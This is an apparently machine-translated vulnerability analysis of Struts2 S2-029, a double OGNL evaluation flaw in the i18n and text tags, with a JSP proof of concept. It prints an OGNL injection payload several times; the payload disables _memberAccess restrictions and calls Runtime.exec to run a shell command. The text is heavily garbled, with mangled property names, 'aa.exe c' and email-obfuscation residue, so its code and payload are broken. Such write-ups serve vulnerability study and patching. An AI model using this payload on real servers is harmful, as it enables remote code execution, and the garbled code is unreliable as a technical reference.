S2-029 Struts2 label library Remote Code Execution analysis (including POC)

S2-029 Struts2 label library Remote Code Execution analysis (including POC)

The Struts2 tag Library provides topic and template support, which greatly simplifies the compilation of view pages. In addition, the topics and templates of struts2 provide excellent scalability. Achieves better code reuse. Struts2 allows the use of custom components on the page, which can fully meet the complex and variable page display requirements in the project.
The Struts2 tag library has a huge improvement. The tags of the struts2 tag library do not rely on any performance Layer Technology. That is to say, strtus2 provides most of the labels and can be used in various performance technologies. This includes the most common jsp pages. You can also say that they are used in template technologies such as Velocity and FreeMarker.
0 × 01 Vulnerability Analysis
The i18n of struts2 and the name attribute of the text tag are processed twice by ognl, resulting in remote code execution.
The label is as follows:
Xxxxx
Xxxxx
The above two labels have problems with the name attribute. The i18n label is analyzed.
Process the i18n label name attribute in the Code:
Org. apache. struts2.components. I18n
......
Public boolean start (Writer writer ){
Boolean result = super. start (writer );
Try
{
String name = findString (this. name, "name", "Resource bundle name is required. example: foo orfoo_en "); // execute ognl on the name attribute of i18n and assign the result to name
ResourceBundle bundle = (ResourceBundle) findValue ("getTexts ('" + name + "')"); // execute the ognl expression for the name attribute obtained above
......
}
}
The findString method can be tracked.
The protected Object findValue (Stringexpr, String field, String errorMsg) method of com. opensymphony. xwork2.ognl. OgnlValueStack is used to execute ognl expressions.
When the findValue method is used for tracking, it can be traced
The public Object findValue (Stringexpr, boolean throwExceptionOnFailure) method of com. opensymphony. xwork2.ognl. OgnlValueStack is also used to execute ognl expressions.
Test process:
Assume that the lan attribute of the request is:
'), Request, # _ memberAccess ['allowprivateaccess'] = true, # _ memberAccess ['allowprotectedaccess'] = true, # _ memberAccess ['allowpackageprotectedaccess'] = true, # _ memberAccess ['allowstaticmethodaccess'] = true, # _ memberAccess ['cludedpackagenamepatters'] = # _ memberAccess ['accesstproperties'], # _ memberAccess ['deletedclass'] = # _ memberAccess ['accesstproperties'], [email protected=@getruntime((,aa.exe c ('touch/tmp/dbapptest'), new java. lang. string ('
Where the running ognl expression is % {request. lan}, the first execution result of the ognl expression is:
'), Request, # _ memberAccess ['allowprivateaccess'] = true, # _ memberAccess ['allowprotectedaccess'] = true, # _ memberAccess ['allowpackageprotectedaccess'] = true, # _ memberAccess ['allowstaticmethodaccess'] = true, # _ memberAccess ['cludedpackagenamepatters'] = # _ memberAccess ['accesstproperties'], # _ memberAccess ['deletedclass'] = # _ memberAccess ['accesstproperties'], [email protected=@getruntime((,aa.exe c ('touch/tmp/dbapptest'), new java. lang. string ('
After the execution is complete, the value of name is:
'), Request, # _ memberAccess ['allowprivateaccess'] = true, # _ memberAccess ['allowprotectedaccess'] = true, # _ memberAccess ['allowpackageprotectedaccess'] = true, # _ memberAccess ['allowstaticmethodaccess'] = true, # _ memberAccess ['cludedpackagenamepatters'] = # _ memberAccess ['accesstproperties'], # _ memberAccess ['deletedclass'] = # _ memberAccess ['accesstproperties'], [email protected=@getruntime((,aa.exe c ('touch/tmp/dbapptest'), new java. lang. string ('
Then pass the name value to the following line of code to execute ognl, where the ognl expression is
GetText (''), request, # _ memberAccess ['allowprivateaccess'] = true, # _ memberAccess ['allowprotectedaccess'] = true, # _ memberAccess ['allowpackageprotectedaccess'] = true, # _ memberAccess ['allowstaticmethodaccess'] = true, # _ memberAccess ['authorization'] = # _ memberAccess ['accesstproperties'], # _ memberAccess ['deletedclass'] = # _ memberAccess ['accesstproperties'], [email protected=@getruntime((,aa.exe c ('touch/tmp/dbapptest'), new java. lang. string ('')
This causes the command to generate the dbapptest file in the/tmp directory.
In poc, you must set # _ memberAccess ['allowprivateaccess'] = true to authorize access to the private method,
# _ MemberAccess ['allowstaticmethodaccess'] = true is used to authorize the call of static methods,
# _ MemberAccess ['excludedpackagenamepatterns '] = # _ memberAccess ['acceptproperties'] is used to set the restricted package name to null.
# _ MemberAccess ['deletedclasses '] = # _ memberAccess ['accesstproperties'] is used to set the restricted class name to null.
[Email protected]@getruntime((, cmda.exe c ('touch/tmp/dbapptest'), new java. lang. String (") to execute system commands
0 × 02 vulnerability poc
[Email protected] = "java. util. HashSet" %>
% @ PagecontentType = "text/html; charset = UTF-8" language = "java" %>
% @ Taglib prefix = "s" uri = "/struts-tags" %>
Html>
Head> title> Demo jsppagetitle> head>
Body>
%
Request. setAttribute ("lan", "'), # _ memberAccess ['allowprivateaccess'] = true, # _ memberAccess ['allowprotectedaccess'] = true, # _ memberAccess ['allowpackageprotectedaccess'] = true, # _ memberAccess ['allowstaticmethodaccess'] = true, # _ memberAccess ['authorization'] = # _ memberAccess ['accesstproperties'], # _ memberAccess ['deletedclass'] = # _ memberAccess ['accesstproperties'], [email protected=@getruntime((,aa.exe c ('touch/tmp/fuckxxx'), new java. lang. string ('");
%>
S: i18nname = "% {# request. lan}"> xxxxxs: i18n>
Body>
Html>